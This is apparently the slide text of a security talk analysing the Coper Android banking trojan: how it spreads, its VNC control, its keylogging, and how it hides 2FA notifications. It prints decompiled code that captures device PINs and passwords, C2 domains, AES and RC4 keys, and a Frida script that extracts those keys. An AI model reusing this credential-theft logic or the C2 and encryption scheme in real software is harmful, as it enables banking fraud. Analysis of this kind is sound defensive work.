Lightning talk: Digging for Coper

\$ whoami

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Coper

Coper is an Android banking trojan targeting both banks and crypto exchange users.

Different campaigns mix targeted regions, for example Spain and Canada; Japan and New Zealand; Poland and Italy. Decoded strings indicate the real targets.

Core functionality is **comprised of a small subset of features** but enough to harvest credentials from victims.

Settings can be updated on every tick via the remote C&C.



Created with manchart.ne





Distribution

Attackers use various ways of distributing their malware:

- Fraudulent Ad campaigns to spread.
- GitHub accounts and repositories to host malware samples. An account under the username **uliaknazeva888** has the most extensive activity map - 159 commits since Jun 23, 2021 up to April 30, 2022.
- **Compromised websites**: Used to host malicious APKs. Some governmental sites were also affected.
- **Discord**: Attackers use it mostly as a "secure" hosting service.







Como funciona

qualquer custo.




A Allianz Portugal, em parceria com o Gobierno de Portugal, criou uma nova forma de verificar a sua identidade digital para o proteger contra qualquer ataque financeiro. Sem





Activity map







Core functionality

Coper uses **VNC to observe and control the victims' device**. This feature can be enabled/disabled remotely.

To avoid interference with other remote administration tools, it attempts to uninstall other known apps such as TeamViewer.

This is **usually paired with its keylogger** feature, allowing remote attackers to extract key information.

```
public void ifdf() {
   Cwhile.m183case(getApplicationContext(), "vnc_stream_started", Boolean.TRUE);
   Cwhile.m186goto(getApplicationContext(), "last_vnc_stream_attempt", 0L);
   this.f33try = (MediaProjectionManager) getSystemService("media_projection");
   MediaProjection mediaProjection = this.f28case;
   if (mediaProjection != null) {
      mediaProjection.stop();
```





Core functionality II

Coper hides push notifications from the targeted bank applications to prevent victims from seeing important messages such as **2FA codes** and **notifications** related to **fraudulent transactions** and warning messages.

It takes advantage of the accessibility API to obtain both **dot-pattern** and **regular PIN** unlock patterns.

```
public static String m105break(Context context, AccessibilityNodeInfo accessibilityNodeInfo) {
    AccessibilityNodeInfo m110goto;
    String m106case = m106case(context, accessibilityNodeInfo);
    if (!m106case.isEmpty()) {
       String str = f54new;
       Log.i(str, "EXTRACTED PATTERN: " + m106case);
       return m106case;
   AccessibilityNodeInfo m108else = m108else(accessibilityNodeInfo, "pinEntry|passwordEntry|fixedPinEntry");
    if (m108else == null && (m110goto = m110goto(accessibilityNodeInfo)) != null) {
       Log.i(f54new, "pin/password field found");
       m108else = m110goto:
    if (m108else == null || m108else.getText() == null) {
        return "":
    String charSequence = m108else.getText().toString();
    if (charSequence.replace("\u2022", "").isEmpty()) {
        return "";
   Matcher matcher = Pattern.compile("^([0-9\u2022]{1,16})$").matcher(charSequence);
   if (m108else(accessibilityNodeInfo, "pinEntry") == null || !matcher.find()) {
       String str2 = f54new;
       Log.i(str2, "SCREEN_PASSWORD: " + charSequence);
       return "SCREEN PASSWORD:" + charSequence;
    } else if (charSequence.replace("\u2022", "").isEmpty() || charSequence.length() < 4) {</pre>
       String str3 = f54new;
       Log.i(str3, "PIN_PART:" + charSequence);
        return "PIN PART:" + charSequence;
   } else {
       String str4 = f54new;
       Log.i(str4, "PIN_GOOD:" + charSequence);
       return "PIN GOOD:" + charSequence;
```





C2 Communications

<string name="domains"> https://232fdnsjds.top/OGYyZmMyZmV1MGI0/|https://s dxasd1.top/OGYyZmMyZmVlMGI0/|https://fdghhoo1.top/ OGYyZmMyZmVlMGI0/|</string>

All the communications are done via HTTPS to a **rotating** list of C2s.

Communications are **encrypted** using the following pattern for both incoming and outgoing messages:

BASE64ENCODE(AES_ECB(TEXT_TO_ENCRYPT))

*All data sent is gzip compressed.

The **AES key is shared** between many samples independently of the campaign waves. It can be extracted by instrumenting **javax.crypto.spec.SecretKeySpec**

javax.crypto.spec.SecretKeySpec \$init

Arguments:

["35, 34, 35, 36, 39, 64, 32, 61, 61, 61, 65, 37, 31, 37, 36, 33, 33, 35, 61, 36, 37, 62, 66, 37, 32, 65, 38, 36, 37, 33, 36, 66", "AES"]

Returned value:

(#3787) com.leftknow0 #crypto

Unpacking

The real payload is hidden at an embedded resource stored in **/res/raw/** with a random name and no file extension.

On app startup an **embedded library is loaded** and automatically decrypts the payload. This library **decrypts** the file in memory **using RC4**, usually with key nxYUBCMVV3xmvdvz2T9mjMp5GQRkOO8Q and the decrypted output is a DEX V35 file.

resources/res/raw/crkcgcshyfuddsb		er/resources/res/raw/unpacked_dex	1251 474188 Col 0 0%
0000000000: CD FB 31 1F B1 60 5B C7	5C 81 82 79 1F 1B 3B FE Ны1▼±`[3\Ѓ,у▼	0000000000: 64 65 78 0A 30 33 35 00	E2 96 64 C3 C3 1C 4D CD dex∎035 в-dГ
0000000010: F3 2D D7 EE CC 62 01 72	ЕС СВ СВ 30 ЕВ СС 58 С6 у-ЧоМb@гмЛЛ0л	(XK) 0000000010: 10 F1 E2 E9 F6 A2 37 5A	В5 27 6F A8 09 89 C0 F4 ▶свйцў7Zµ'оЁ
0000000020: 41 76 48 6D 5B 32 92 5C	F0 D5 B6 0E 95 46 99 6E AvHm[2'\pX¶s.	^M n 0000000020: 4C 3C 07 00 70 00 00 00	78 56 34 12 00 00 00 00 L<• p xV4 [±]
0000000030: A1 AC 19 38 EA 14 AF 73	АВ FA 39 D0 1B C1 A6 3A Ў¬↓8к¶Їs«ъ9Р⊢		CA 07 00 00 70 00 00 00 €;• K•
0000000040: 15 8C 4F 6A 57 40 D7 32	BD A5 07 FA 58 12 5B 8A §H0jW@42SC+bX	Љ 0000000040: ЗА 01 00 00 98 1F 00 00	63 01 00 00 80 24 00 00 :© ▼ c© T
0000000050: 2B B3 63 41 31 7A 93 E3	FE 50 A6 1D CA 4D 62 B2 +icA1z"rюP¦↔K	0000000050: CE 00 00 00 24 35 00 00	F7 03 00 00 94 3B 00 00 0 \$5 ч♥
0000000060: 20 91 E6 83 6F B4 7A FC	В5 0C D6 0B 72 DD E8 F0 'жforzьµ₽Цог	1p 0000000060: 44 00 00 00 4C 5B 00 00	80 D8 06 00 CC 63 00 00 D L[ЂШ♠ I
0000000070: C5 BE C1 7F A5 87 C0 02	4F 96 0D 9D 77 17 BA C0 EsБoГ‡A●O-≯ќw	0000000070: E0 91 01 00 E2 91 01 00	Е5 91 01 00 ED 91 01 00 а'© в'© е'©
0000000080: 5D AB B5 AF 8C 78 92 F7	3A BD 33 7C 33 BC D7 05]«µÏЊх'ч:S3 3	0000000080: F0 91 01 00 02 92 01 00	9E 92 01 00 5A 93 01 00 p'⊕ ●'⊕ ħ'⊕ 3
000000090: D0 82 06 0D DF 84 01 D8	86 05 52 40 50 0E 65 23 P, ♠>Я, @Ш†♠R@P.	2# 00000000000: 65 93 01 00 6F 93 01 00	
00000000A0: AE B3 C8 1F D7 03 B1 B6	59 2C 17 D1 AD B5 7D 27 ®iИ▼4♥±¶Y, ‡Cµ		8B 93 01 00 98 93 01 00 f"@ ‡"@ <"@
00000000B0: 9A 64 95 01 06 EA E5 4F	8C 2E 4C 61 17 AF CB 72 љd•©≜кеОЊ.Lat	00000000000 X9 93 01 00 AE 93 01 00	B4 93 01 00 BF 93 01 00 ©"@ ®"@ r"@
0000000C0: A6 9B CF 29 41 5A 0B AA	B4 C7 B4 A9 EF 1B E7 9F >∏)AZ♂€r3r©n	000000000000000000000000000000000000000	EA 93 01 00 F9 93 01 00 0" [©] Γ" [©] κ" [©] Γ
0000000000: 50 F7 35 89 3D 3F BF B4	D7 CD 33 CE DF 8F 1E BD Рч5‰=?їґЧНЗОЯ		07 94 01 00 14 94 01 00 ∋"☺ ●"☺ •"☺ • 34 04 01 00 44 04 01 00
00000000E0: A3 D6 70 3F 55 F4 F8 AD	0C 61 BC FB 21 43 83 B4 JЦp?Uфш?ajы!C		3A 94 01 00 44 94 01 00 ↔"☺ -"☺ :"☺ 67 94 01 00 81 94 01 00 0"☺ X"☺ g"☺
0000000F0: C8 AC B1 DE 72 2D 67 7F	ED FB 8E 8A FE 9C BA E2 И¬±Юг-доныЋЉю		AD 94 01 00 BC 94 01 00 h"@ ™"@ "@
0000000100: 50 A2 2C 82 93 83 C9 FB	0C C8 64 D5 DC 5D DF 9A РЎ,, "fЙы ldk		DD 94 01 00 E7 94 01 00 N°@ 0°@ 3°@
0000000110: 5D 96 50 ED 57 20 73 F2	1D 0B 41 34 0F 6E 89 A6]-PHW ST↔ A4☆		ОС 95 01 00 12 95 01 00 п"© я"© ¥•©
000000120: FE 84 05 68 00 53 28 25	66 CD C6 BD 53 DB 44 88 0, €h S(%fHЖSS		
0000000130: A1 D5 11 C1 72 C0 0E F0	66 26 10 4C AE 3B 3A 1B ЎХ ⊲ БгАлрf&►L®		65 95 01 00 72 95 01 00 Z·@ ^·@ e·@
0000000140: A6 B3 A0 67 6B 15 57 47	A5 C1 A2 5A C0 C7 D0 60 i gk&WGľbýZA		





Extracting the RC4 key on runtime

```
Interceptor.attach(Module.findExportByName(null, "android dlopen ext"), {
   onEnter: function (args) {
       const path = Memory.readUtf8String(args[0]);
       console.log("[*] android_dlopen_ext(\" " + path +" \")");
       this.isFound = false:
       if (path.includes("libbfu")) {
           this.isFound = true:
   }.
   onLeave(retval) {
       if(this.isFound)
               loadHooks(Module.findExportByName("libbfuIS.so", "_ZN11fLpuoEKuTrJ14gucwqYBgvsbPJbEPciPKc"));
}):
let keyLoad = Module.findExportByName("libbfuIS.so", " ZN11fLpuoEKuTrJ14gucwqYBgvsbPJbEPciPKc");
function loadHooks(keyLoad) {
   console.log(keyLoad);
   Interceptor.attach(keyLoad, {
       onEnter(args) {
           console.log(args[2].readCString());
   });
     [*] android dlopen ext("
     /data/app/~~Hbz8xKtZX7kc7pdjxJqmnA==/com.spellsaw2-7LrubLkVk3BrvP2z3V6Ctg==/
     lib/arm64/libbfuIS.so ")
     nxYUBCMVV3xmvdvz2T9mjMp5GQRk008Q
```





Questions?

If interested, request full analysis at fdiaz@virustotal.com

